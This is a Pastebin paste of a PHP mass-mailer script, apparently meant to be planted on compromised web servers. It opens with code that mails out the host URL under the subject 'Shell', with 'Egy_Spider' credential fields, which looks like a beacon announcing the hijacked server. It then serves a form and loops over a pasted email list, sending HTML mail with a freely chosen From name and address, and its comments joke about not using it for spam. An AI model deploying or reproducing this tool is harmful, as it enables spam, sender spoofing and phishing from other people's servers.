Advertisement
Guest User

Untitled

a guest
Mar 25th, 2018
1,432
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.67 KB | None | 0 0
  1. ?»?<?php
  2.  
  3.  
  4. $web = $_SERVER["HTTP_HOST"];
  5. $inj = $_SERVER["REQUEST_URI"];
  6. $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
  7. ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
  8. ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP:
  9. ";
  10. mail("","Shell http://$web$inj", "$body");
  11.  
  12. @$action=$_POST['action'];
  13. @$from=$_POST['from'];
  14. @$realname=$_POST['realname'];
  15. @$replyto=$_POST['replyto'];
  16. @$subject=$_POST['subject'];
  17. @$message=$_POST['message'];
  18. @$emaillist=$_POST['emaillist'];
  19. @$names=$_SERVER['HTTP_REFERER'];
  20. @$file_name=$_FILES['file']['name'];
  21. @$contenttype=$_POST['contenttype'];
  22. @$file=$_FILES['file']['tmp_name'];
  23. @$amount=$_POST['amount'];
  24.  
  25. $id=$_GET['id'];
  26. if(preg_match("/send/",$id))
  27. {
  28. //// PHP mailer V 1.1
  29.  
  30. //tested on Hotmail ; gmail , yahoo All Clean
  31. //===============================================/
  32. ///==============================================//
  33. // staring the part lets go Go ////
  34. //Note : Dont use it For Spam /////////
  35. //Note : juste kiding < 3 //////////////
  36. //==================================================//
  37. //The Send Variables : Sub + Email + Nom + letter + email //
  38. $sub=$_POST['sub'];
  39. $email=$_POST['email'];
  40. $name=$_POST['name'];
  41. $letter=$_POST['letter'];
  42. //Letter Now =========/
  43. // Create A file To avoid Server Crash //////////
  44. $fp = fopen("letter.txt","w+"); // ouverture du fichier en ?“?©criture
  45. fputs($fp, $letter); // on ?“?©crit la lettre dans le fichier
  46. fclose($fp);//letter is ready
  47. //Now lets split Email's And count them
  48. $emails = $_POST['mlist'] ;
  49. $ema = explode("\n", $emails);
  50. /// count Email Number > 3 ////
  51. $n=substr_count($emails, '@');
  52. $message=$file = file_get_contents ('letter.txt');
  53. $message=str_replace('\"','"',$message);
  54. $message=str_replace("\'","'",$message);
  55. //Lets open A boucle /////////////////////
  56. for($i=0;$i < $n;$i++)
  57. {
  58. $headers = 'MIME-Version: 1.0' . "\r\n";
  59. $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  60. $headers .= 'From: '.$name.' <'.$email.'>' . "\r\n";
  61. $headers .= 'Cc: '.$email.'' . "\r\n";
  62. $headers .= 'Bcc: '.$email.'' . "\r\n";
  63. if(mail($ema[$i],$sub,$message,$headers) != false){
  64. mail($Send,$subject,$message,$headers);
  65. echo $ema[$i].'<img src="https://cdn1.iconfinder.com/data/icons/icojoy/shadow/standart/gif/24x24/001_06.gif" border=0>'.'<br/>';
  66. }
  67.  
  68. }
  69.  
  70.  
  71.  
  72. }
  73. else {
  74. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  75. <html xmlns="http://www.w3.org/1999/xhtml">
  76. <head>
  77. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  78. <title>PHP mailer Dev By </title>
  79. </head>
  80.  
  81. <body bgcolor="#dad9d8">
  82. <script type="text/javascript">
  83.  
  84.  
  85.  
  86. function verifLength()
  87. {
  88.  
  89. if (document.getElementById("sub").value.length ==0 )
  90. {
  91. document.getElementById("sub").style.backgroundColor = "#f9d8de"
  92. return false;
  93. }
  94. else document.getElementById("sub").style.backgroundColor = "#dcfae1"
  95.  
  96.  
  97.  
  98.  
  99.  
  100. {
  101. if (document.getElementById("email").value.length ==0 )
  102. {
  103. document.getElementById("email").style.backgroundColor = "#f9d8de"
  104. return false;
  105. }
  106. else document.getElementById("email").style.backgroundColor = "#dcfae1"
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114. if (document.getElementById("name").value.length == 0 )
  115.  
  116. {
  117. document.getElementById("name").style.backgroundColor = "#f9d8de"
  118.  
  119. return false;
  120. }
  121. else document.getElementById("name").style.border = "solid green 2px";valider();
  122.  
  123.  
  124. {
  125.  
  126. {
  127. alert("Sending now Accepted");
  128.  
  129. return true;
  130. }
  131. }
  132.  
  133. }
  134. }
  135. </script>
  136. <form id="form" action="?id=send" method="post" name="form" onSubmit="return verifLength()">
  137. <table width="100%" height="394" border="0">
  138. <tr>
  139. <td height="21"><p>&nbsp;</p></td>
  140. </tr>
  141. <tr>
  142. <td height="281"><table width="100%" height="421" border="0">
  143. <tr>
  144. <td width="51%" height="417"><table width="93%" height="348" border="0">
  145. <tr>
  146. <td width="8%" height="21">&nbsp;</td>
  147. <td width="92%"><table width="100%" border="0">
  148. <tr>
  149. <td width="13%"><b><font face="tahoma" size="2" color="#5a5a5a">Subject :</font></b></td>
  150. <td width="87%"><input name="sub" id="sub" size="80" type="text" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #dbdbdb ;border:1px solid #b3afaf;" /></td>
  151. </tr>
  152. <tr>
  153. <td><b><font face="tahoma" size="2" color="#5a5a5a">Email :</font></b></td>
  154. <td><input name="email" id="email" size="30" type="text" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #dbdbdb ;border:1px solid #b3afaf;" /></td>
  155. </tr>
  156. <tr>
  157. <td><b><font face="tahoma" size="2" color="#5a5a5a">Name :</font></b></td>
  158. <td><input name="name" id="name" size="30" type="text" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #dbdbdb ;border:1px solid #b3afaf;" /></td>
  159. </tr>
  160. </table></td>
  161. </tr>
  162. <tr>
  163. <td height="321">&nbsp;</td>
  164. <td><textarea name="letter" cols="80" rows="10" id="letter" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #f1f1f1 ;border:1px solid #b3afaf;" ></textarea></td>
  165. </tr>
  166. </table></td>
  167. <td width="1%">&nbsp;</td>
  168. <td width="48%"><table width="100%" border="0">
  169. <tr>
  170. <td>&nbsp;</td>
  171. </tr>
  172. <tr>
  173. <td height="200"><textarea name="mlist" cols="65" rows="15" id="mlist" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #f1f1f1 ;border:1px solid #b3afaf;" ></textarea></td>
  174. </tr>
  175. </table></td>
  176. </tr>
  177. </table></td>
  178. </tr>
  179. <tr>
  180. <td><table width="100%" border="0">
  181. <tr>
  182. <td width="43%">&nbsp;</td>
  183. <td width="57%"><input src="http://img1.imagilive.com/0813/sumb.png" alt="Submit button" type="image" /></td>
  184. </tr>
  185. </table></td>
  186. </tr>
  187. </table>
  188. </form>
  189. <p>&nbsp;</p>
  190. </body>
  191. </html>
  192. ';
  193. $web = $_SERVER["HTTP_HOST"];
  194. $inj = $_SERVER["REQUEST_URI"];
  195. $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
  196. ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
  197. ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP:
  198. ";
  199. }
  200. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement